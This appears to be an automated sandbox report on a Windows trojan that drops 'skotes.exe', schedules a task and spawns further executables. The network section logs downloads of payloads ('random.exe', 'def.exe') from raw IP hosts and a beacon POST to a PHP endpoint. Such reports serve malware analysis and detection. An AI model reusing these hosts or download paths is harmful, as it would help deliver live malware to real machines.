Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005DE0C0 recv,recv,recv,recv,

0_2_005DE0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=Z2JZx72g38Fbx0A81734592167 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: twentytk20pn.top
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: services.addons.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: normandy.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: normandy-cdn.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: cheapptaxysu.click
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5vt.top
Source: global traffic	DNS traffic detected: DNS query: fivetk5vt.top

Source: unknown

HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000008.00000003.6194045858.00000000009C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.twentytk20pn.top/WEIsmPfDcpBFJozngnY322
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 5d7a2e45de.exe, 0000000E.00000003.2636644926.00000000074FF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: bb3768c743.exe, 0000000F.00000002.7311707941.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, random[1].exe0.8.dr, bb3768c743.exe.8.dr	String found in binary or memory: https://sectigo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837

System Summary

Binary is likely a compiled AutoIt script file

Source: 25e92e47ca.exe.8.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_618e0025-7
Source: 25e92e47ca.exe.8.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_7a6ba3b7-d
Source: random[2].exe0.8.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_02d1a977-f
Source: random[2].exe0.8.dr	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_e8d3f979-1

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

File dump: service123.exe.14.dr 314617856

Jump to dropped file

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name:
Source: random[1].exe.8.dr	Static PE information: section name: .idata
Source: random[1].exe.8.dr	Static PE information: section name:
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name:
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name: .idata
Source: 5d7a2e45de.exe.8.dr	Static PE information: section name:
Source: random[1].exe1.8.dr	Static PE information: section name:
Source: random[1].exe1.8.dr	Static PE information: section name: .idata
Source: random[1].exe1.8.dr	Static PE information: section name:
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name:
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name: .idata
Source: 5504bf3a7b.exe.8.dr	Static PE information: section name:
Source: random[1].exe2.8.dr	Static PE information: section name:
Source: random[1].exe2.8.dr	Static PE information: section name: .idata
Source: random[1].exe2.8.dr	Static PE information: section name:
Source: 43ac536e27.exe.8.dr	Static PE information: section name:
Source: 43ac536e27.exe.8.dr	Static PE information: section name: .idata
Source: 43ac536e27.exe.8.dr	Static PE information: section name:
Source: random[2].exe.8.dr	Static PE information: section name:
Source: random[2].exe.8.dr	Static PE information: section name: .idata
Source: b6e002a8f0.exe.8.dr	Static PE information: section name:
Source: b6e002a8f0.exe.8.dr	Static PE information: section name: .idata
Source: random[2].exe1.8.dr	Static PE information: section name:
Source: random[2].exe1.8.dr	Static PE information: section name: .idata
Source: random[2].exe1.8.dr	Static PE information: section name:
Source: e82adb1900.exe.8.dr	Static PE information: section name:
Source: e82adb1900.exe.8.dr	Static PE information: section name: .idata
Source: e82adb1900.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00618860	0_2_00618860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00617049	0_2_00617049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006178BB	0_2_006178BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006131A8	0_2_006131A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D4B30	0_2_005D4B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00612D10	0_2_00612D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D4DE0	0_2_005D4DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00607F36	0_2_00607F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061779B	0_2_0061779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FF78BB	2_2_00FF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FF8860	2_2_00FF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FF7049	2_2_00FF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FF31A8	2_2_00FF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FB4B30	2_2_00FB4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FB4DE0	2_2_00FB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FF2D10	2_2_00FF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FF779B	2_2_00FF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00FE7F36	2_2_00FE7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FF78BB	3_2_00FF78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FF8860	3_2_00FF8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FF7049	3_2_00FF7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FF31A8	3_2_00FF31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FB4B30	3_2_00FB4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FB4DE0	3_2_00FB4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FF2D10	3_2_00FF2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FF779B	3_2_00FF779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00FE7F36	3_2_00FE7F36
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_00431000	15_2_00431000
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_00434C8C	15_2_00434C8C
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 15_2_00446F3A	15_2_00446F3A
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_00431000	17_2_00431000
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_00434C8C	17_2_00434C8C
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: 17_2_00446F3A	17_2_00446F3A

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe 552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe 1B625C9923C41449ED1FDCE417C57890367204340C2236B4B2F44CA864AE14AD

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FCDF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00FC80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: String function: 00435190 appears 92 times
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: String function: 0043B767 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Code function: String function: 0043F534 appears 34 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 005E80C0 appears 130 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983289339237057
Source: random[1].exe.8.dr	Static PE information: Section: sgmjipkl ZLIB complexity 0.994249163187446
Source: 5d7a2e45de.exe.8.dr	Static PE information: Section: sgmjipkl ZLIB complexity 0.994249163187446
Source: random[1].exe0.8.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe0.8.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: bb3768c743.exe.8.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: bb3768c743.exe.8.dr	Static PE information: Section: .bss ZLIB complexity 1.0003343485169491
Source: random[1].exe1.8.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: random[1].exe1.8.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: 5504bf3a7b.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9973177975171232
Source: 5504bf3a7b.exe.8.dr	Static PE information: Section: uzxdwyvi ZLIB complexity 0.9946595600267777
Source: random[1].exe2.8.dr	Static PE information: Section: ZLIB complexity 0.9972642872431506
Source: random[1].exe2.8.dr	Static PE information: Section: zajbtexj ZLIB complexity 0.9940281540247679
Source: 43ac536e27.exe.8.dr	Static PE information: Section: ZLIB complexity 0.9972642872431506
Source: 43ac536e27.exe.8.dr	Static PE information: Section: zajbtexj ZLIB complexity 0.9940281540247679
Source: random[2].exe1.8.dr	Static PE information: Section: pwjairst ZLIB complexity 0.9947487451303566
Source: e82adb1900.exe.8.dr	Static PE information: Section: pwjairst ZLIB complexity 0.9947487451303566

Source: random[1].exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: b6e002a8f0.exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: random[2].exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: 5d7a2e45de.exe.8.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16028/18@36/6

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5228:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Command line argument: .C		15_2_0043E280
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Command line argument: .C		17_2_0043E280

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: file.exe	Virustotal: Detection: 59%
Source: file.exe	ReversingLabs: Detection: 52%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe "C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
Source: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe	Process created: C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe "C:\Users\user\AppData\Local\Temp\1017423001\bb3768c743.exe"
